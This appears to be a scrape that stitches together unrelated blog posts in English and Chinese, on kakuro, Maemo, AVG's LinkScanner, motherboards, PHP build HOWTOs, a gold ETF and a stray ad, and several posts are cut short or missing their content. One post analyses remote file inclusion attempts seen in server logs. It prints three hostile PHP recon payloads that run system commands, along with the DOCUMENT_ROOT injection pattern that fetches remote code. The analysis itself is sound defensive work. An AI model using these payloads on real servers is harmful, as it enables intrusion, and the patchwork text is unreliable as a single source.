Last time I have had discussed about using arithmetics to solve kakuro (part 1, part 2); most of the methods are trivial for everybody except the last case which is not apparent. This one is also not apparent as well, and I have almost never encountered it except once. It is about:
Calculating the difference between 2 cells!
How can the difference of 2 cells be helpful? See below for initial configuration:

It is an open end layout, so using addition and subtraction seems not very feasible. There is also no apparent target with only one possible answer. Actually there is, but very well hidden. Calculate the sum of digits marked with green and red:
Take the difference between red and green areas. The result is the difference of the 2 squares marked A and B, which is 4 ( = 38 - 34 ) :

So? There are still too many choices, 4 can be 5-1, can be 6-2, …… The key point is, only one of the choices is possible! Notice the 3rd row (with sum equal to 22), there are only 2 possible combinations, namely (5,8,9) and (6,7,9).
Bingo! (A,B) = (5,9).
I always forgot some useful key-strokes when I happened to need them. So I just collect them here. Those tips are always from vim mail-list or some other vim online resource or my personal experience:
這一兩星期經常看到 Apache log 中出現和 remote file inclusion 有關的「攻擊」,一時好奇,抓其中一個檔案來看一看,赫然發現並不是盲目直接攻擊,反而像大量搜集伺服器資料。拿其中一個看到的檔案為例:
<? echo "BraT<br>"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER[&aposSERVER_NAME&apos]; $alb8 = gethostbyname($SERVER_ADDR); $alb9 = get_current_user(); $os = @PHP_OS; echo "os: $os<br>"; echo "uname -a: $alb<br>"; echo "uptime: $alb2<br>"; echo "id: $alb3<br>"; echo "pwd: $alb4<br>"; echo "user: $alb9<br>"; echo "phpv: $alb6<br>"; echo "SoftWare: $alb5<br>"; echo "ServerName: $alb7<br>"; echo "ServerAddr: $alb8<br>"; echo "NigeriaN HackerS TeaM<br>"; exit; ?>另一個也差不多:
<?php function ConvertBytes($number) { $len = strlen($number); if($len < 4) { return sprintf("%d b", $number); } if($len >= 4 && $len <=6) { return sprintf("%0.2f Kb", $number/1024); } if($len >= 7 && $len <=9) { return sprintf("%0.2f Mb", $number/1024/1024); } return sprintf("%0.2f Gb", $number/1024/1024/1024); } echo "kangkung<br>"; $un = @php_uname(); $up = system(uptime); $id1 = system(id); $pwd1 = @getcwd(); $sof1 = getenv("SERVER_SOFTWARE"); $php1 = phpversion(); $name1 = $_SERVER[&aposSERVER_NAME&apos]; $ip1 = gethostbyname($SERVER_ADDR); $free1= diskfreespace($pwd1); $free = ConvertBytes(diskfreespace($pwd1)); if (!$free) {$free = 0;} $all1= disk_total_space($pwd1); $all = ConvertBytes(disk_total_space($pwd1)); if (!$all) {$all = 0;} $used = ConvertBytes($all1-$free1); $os = @PHP_OS; echo "kangkung was here ..<br>"; echo "uname -a: $un<br>"; echo "os: $os<br>"; echo "uptime: $up<br>"; echo "id: $id1<br>"; echo "pwd: $pwd1<br>"; echo "php: $php1<br>"; echo "software: $sof1<br>"; echo "server-name: $name1<br>"; echo "server-ip: $ip1<br>"; echo "free: $free<br>"; echo "used: $used<br>"; echo "total: $all<br>"; exit;再來第三個,都是一樣的東西:
<? echo "ALBANIA<br>"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER[&aposSERVER_NAME&apos]; $alb8 = gethostbyname($SERVER_ADDR); $alb9 = get_current_user(); $os = @PHP_OS; echo "os: $os<br>"; echo "uname -a: $alb<br>"; echo "uptime: $alb2<br>"; echo "id: $alb3<br>"; echo "pwd: $alb4<br>"; echo "user: $alb9<br>"; echo "phpv: $alb6<br>"; echo "SoftWare: $alb5<br>"; echo "ServerName: $alb7<br>"; echo "ServerAddr: $alb8<br>"; echo "UNITED ALBANIANS aka ALBOSS PARADISE<br>"; exit; ?>特別之處是,它們非常針對 PHP,嘗試哄騙 PHP 信任攻擊者提供的 DOCUMENT_ROOT 來取代 Apache 那個,全部都是在 URL 後加上像 "?DOCUMENT_ROOT=http://www.example.com/xxxxxx.txt" 的部份,而且這個所謂的 .txt 其實是 PHP 檔。我和這位仁兄一樣,一時間找不到是哪個漏洞會用 DOCUMENT_ROOT。
在 User Agent 方面,九成九都是 libwww-perl,看到比較得人驚的只有這個。希望是偽造的吧,如果是真的,那就笑不出了,因為那表示這個攻擊無遠弗屆……
My Linkedin
My Linkedin
Ok, you won’t believe that I haven’t upgrade my N800 to the lateast OS2008, Diablo (Maemo 4.1) until today. I even unaware it til bunny tell me few weeks ago.
2 Major things that diablo delights me are the Chinese support on RSS reader and the new mail client Modest. Ok, it also shipped with the Chinese font MHei18030C5.ttf. But I used the Chinese font provided by Google’s Android SDK which is much better then AR PL UMing since I upgrade to OS2008 beta. I have never got a problem on reading Chinese in N800. However, the broken Chinese support in RSS reader in Maemo 4.0 really make it useless for me. It is great they really fix it in Diablo. Besides, the long waiting Modest is pretty great. I had try the beta version of it last year in OS2008 beta and found it is much better then the old mail client. However the beta version didn’t integrated well with Task applet. I haven’t use the N800 to read mail since I upgrade to the official OS2008 (Maemo 4.0) coz it didn’t ship with Modest. Now, n800 can really become the Internet Tablet instead of only an E-Book reader or Podcast player for me. Wow!!!!!
很久沒看 Slashdot 了,稍為瀏覽一下就找到有趣的事:原來 AVG antivirus 會假扮 IE 6 來掃描網站。乍看好像沒甚麼問題,但致命的地方在於它做法粗暴,造成不少人反感,像某些大陸 search engine 一樣。
再看看 Slashdot 裏的鏈結,原來 The Register 接近兩個月前已經在罵了。AVG 8.0 吸納了一套稱為 LinkScanner 的軟件,當用家在 search engine 搜尋任何東西時,LinkScanner 就會出動掃描所有搜尋結果,再報告哪個網站懷疑有 malware。問題正是出在這個 LinkScanner 身上。
我從 download.com 下載的 8.0.1 版本,用預設選項安裝好後,不進行升級 (用來避免任何升級或 virus definition update 帶來的作用),結果是:它會直接用 HTTP 下載所有 search engine 的結果,包括主頁和鏈結本身,例如搜尋我自己的網站:
GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;1813) Host: me.abelcheung.org Cache-Control: no-cache除此之外更會下載所有主頁中使用過的 JavaScript 和一兩個主站下的 subpage。其實 AVG watch 已經將整個來龍去脈都闡釋清楚了,不過我還是忍不住要用中文解釋一下:
意指做大事必有犧牲,當然這裏的犧牲品就是網站管理員和分析員囉。
它存取網站的目的,是為了在 search engine 中「預先」提示用戶哪個站「可能」有問題:

試想想我在 Google 中搜尋 “site:me.abelcheung.org”,就等於有十個人同一秒立即到我的網站下載這個下載那個了,如果多幾個人做同一種事呢?一個人開多幾頁搜尋呢?這已經等於一個小型的 DoS 了。這不是說笑的,我拿某個 forum 「小試牛刀」,結果那個 forum 就這樣被我這樣拖垮了一陣子。
之後的發展,AVG Watch 末段已經說清楚了,我也用 sniffer 確認過 7 月 5 日後的更新已經不再直接存取任何網站;真想知道那個 CTO 的面子如何放得下。
但如許多人所說,AVG 8 開始有變成 bloatware 的趨勢,怪不得近來看到不少的建議勸人改用 Avast。
早一陣子,有人問我 GNU/Linux 可不可以 HSDRA (3.5G) 上網。現在香港 HSDRA 計畫都頗貴,我沒有錢使用,所以亦答不到。不過研究一下亦無況。
Google 搜索一下,Tuxmobil 有一專頁收集了有過 GNU/Linux 3G 上網的資料。似乎上 Smartone-Vodafone 最新那個 HSDRA USB stick 有 GNU/Linux 驅動器,有 Debian、Fedora 8 和 OpenSuSE 10.3 等 distro 的套件預備。但見討論區有不少人投訴驅動器有問題。
有機會要找個有 Smartone-Vodafone USB stick 的朋友備來試試。
上星期裝好的新電腦,在購買前主機板主要在華碩及技嘉之間選擇,因為貪其大牌子。因為我不會用 Raid 及雙顯示卡,所以鎖定了 P43 晶片組。華碩及技嘉在不同級數的產品售價也差不多,各自也有節能技術,我想效果應該相差不遠,而最後選擇了 Asus P5QL Pro,因為被華碩的 Express Gate 吸引了。
有時開電腦的原因只為上網看一些資料,或者 check email,要進入作業系統很麻煩,而 ASUS Express Gate 就可以在短短幾秒內進入一個 Linux 系統,可以執行瀏覽器及Skype 之類的網路工具。而 Express Gate 其實是一片裝在主機板上的 Flash 卡,並在上面載有一個精簡的 Linux-like kernel。而 Express Gate 還支援升級功能,即可以透過互聯網更新並寫入 Flash 上。
在開機後,會立即顯示 Express Gate 的畫面,如果用家沒有任何輸入,會如常地載入作業系統開機,而這個停留時間的多少,可以進入 BIOS 設定。以前這個 Express Gate 只應用在高階主機板上,現在連中階主機板 (我的 P5QL Pro 買了九百多元) 也支援。
太惡劣了,搜狗完全無視任何 robots.txt,但它的條款中竟然蓄意欺騙人,說它會支援 robots.txt:
sogou spider 支持 robots 协议,您可以在网站的根目录放置 robots.txt。
robots.txt 的规则请参阅 http://www.robotstxt.org/。
但是新更新的 robots.txt 可能得过几个星期才能体现出效果来。
我的 robots.txt 中禁止搜尋和 indexing 的部份已經有一年半未動過了。之前已經封禁過一次的了,那次不記得是甚麼 robot,瘋狂地下載,連帶網站被 DoS 了。但最近忽然發現搜狗又很頻密地 index 我的禁地。雖然不如有些人所說每秒一次那麼令人髪指,但也好不到那裏去,這些情況很多人都投訴過。對於這些流氓搜尋引擎,我也不是甚麼善男信女:
Rewritecond %{HTTP_USER_AGENT} "^Sogou"
RewriteRule .* http://www.sogou.com/ [L,R=301]
一招還嫌不夠,再來另一招必殺技:
iptables -A INPUT -m limit -p tcp --tcp-flags SYN,RST,ACK,FIN ACK -s 220.181.0.0/16 --dport 80 --limit 3/minute --limit-burst 1
iptables -A INPUT -j DROP -p tcp -s 220.181.0.0/16 --dport 80
不是單純的 DROP,我是有心玩的。還有,似乎搜狗會動用多個 IP 做 robot,一個個 IP 來 block 不及圍骰通殺來得痛快。況且百度也是用同一段 IP 的,就讓百度和搜狗自行決定每分鐘三個 packet 怎樣分配吧。
桌布圖吧(WWW.Pic8.Net),最專業的電腦桌布下載網站,提供多種多樣的桌布圖片下載,明星桌布,可愛桌布,風景桌布,卡通桌布,美女桌布,動態桌布!
Firefox 3.0 在上個月已經推出正式版,但一直也沒有更新,今天才下載來試用一下。我自己所安裝的 plug-ins 較少,升級後也可以找回 plug-ins 的新版本使用。最令我喜歡 Firefox 3 的是速度的提升,不論是開啟速度及開啟網頁時真的快了不少。
另外一點就是網上付款,我的信用卡登記了 Visa 認證功課,但在銀行的網頁輸入認證碼時,用舊版 Firefox 不論怎樣都會說認證碼錯誤,只好當用信用卡付款時改用 IE,而這個問題在 Firefox 3 己經沒有了。
This simple HOWTO will guide you about how to setup Apache2.2 + PHP5.2 + pgsql/pdo_pgsql from sketch. Compile all package from tarball can give you the maximum flexibility of functionality, e.g. you can enable both mysql/mysqli/pgsql/oci8/pdo_mysql/pdo_pgsql/pdo_oci within single installation.
Before start, I will assume you have Debian sid and Postgresql8.3 installed correctly, which will not detail within this document. In case of Debian, Postgresql8.3 installation is just as simple as a single command:
After installation, you should also initialize your user accounts and also database. Please refer to my other article for more information (well, it is for PostgreSQL8.1 but also function in case of PostgreSQL8.3).
This HOWTO is highly similar as my other article which target for install Apache2.2 + PHP5.2 + OCI8/PDO_OCI from sketch on Debian sid. Therefore some duplicated section will directly refer to there, and only mention those different in case for PostgreSQL in here.
This simple HOWTO will guide you about how to setup Apache2.2 + PHP5.2 + mysql/mysqli/pdo_mysql from sketch. Compile all package from tarball can give you the maximum flexibility of functionality, e.g. you can enable both mysql/mysqli/pgsql/oci8/pdo_mysql/pdo_pgsql/pdo_oci within single installation.
Before start, I will assume you have Debian sid and MySQL5 installed correctly, which will not detail within this document. In case of Debian, MySQL5 installation is just as simple as a single command:
This HOWTO is highly similar as my other article which target for install Apache2.2 + PHP5.2 + OCI8/PDO_OCI from sketch on Debian sid. Therefore some duplicated section will directly refer to there, and only mention those different in case for MySQL in here.
我對上一部自己裝的電腦是在 6 年前,昨天買了一堆硬件回家砌,一搞便是個多小時。CPU 是用 E8400,打開後看到散熱器比以前細,而且已經不用自己塗上散熱膏。開機後一般看網頁等簡單工作時,溫度大概在 40 左右,看來如果像我一樣不超頻的用家,原裝散熱器已經夠用。
昨天除了買了新電腦外,也買了一份生日禮物給女朋友,是一隻 Citizen XC 系統的手錶,雖然貴了一點,但看到女朋友開心的樣子,自己已經感到很滿足。
DriverMax 是一個 Windows XP 及 Vista 下的驅動程式工具,除了可以把系統內的驅動程式匯出外,也可以自動在網上下載新版的驅動程式。雖然 DriverMax 是免費軟件,但第一次使用時需要按註冊一個免費的註冊碼,否則只可以試月 30 日。
DriverMax 官方網站: http://www.drivermax.com/
本港首隻黃金 ETF — SPDR 金 ETF (2840) 將會在下星期四 (31 日) 在港交所掛牌,入場費大約七千多元,買賣方法與買賣一般股票一樣。
投資者在買入黃金 ETF 後相等於持有實物黃金,基金不會投資黃金的衍生產品或期貨,黃金實物會存放於匯豐銀行倫敦的金庫內。所以扣除 0.4% 管理費後,黃金 ETF 基本上會跟隨黃金價格走勢。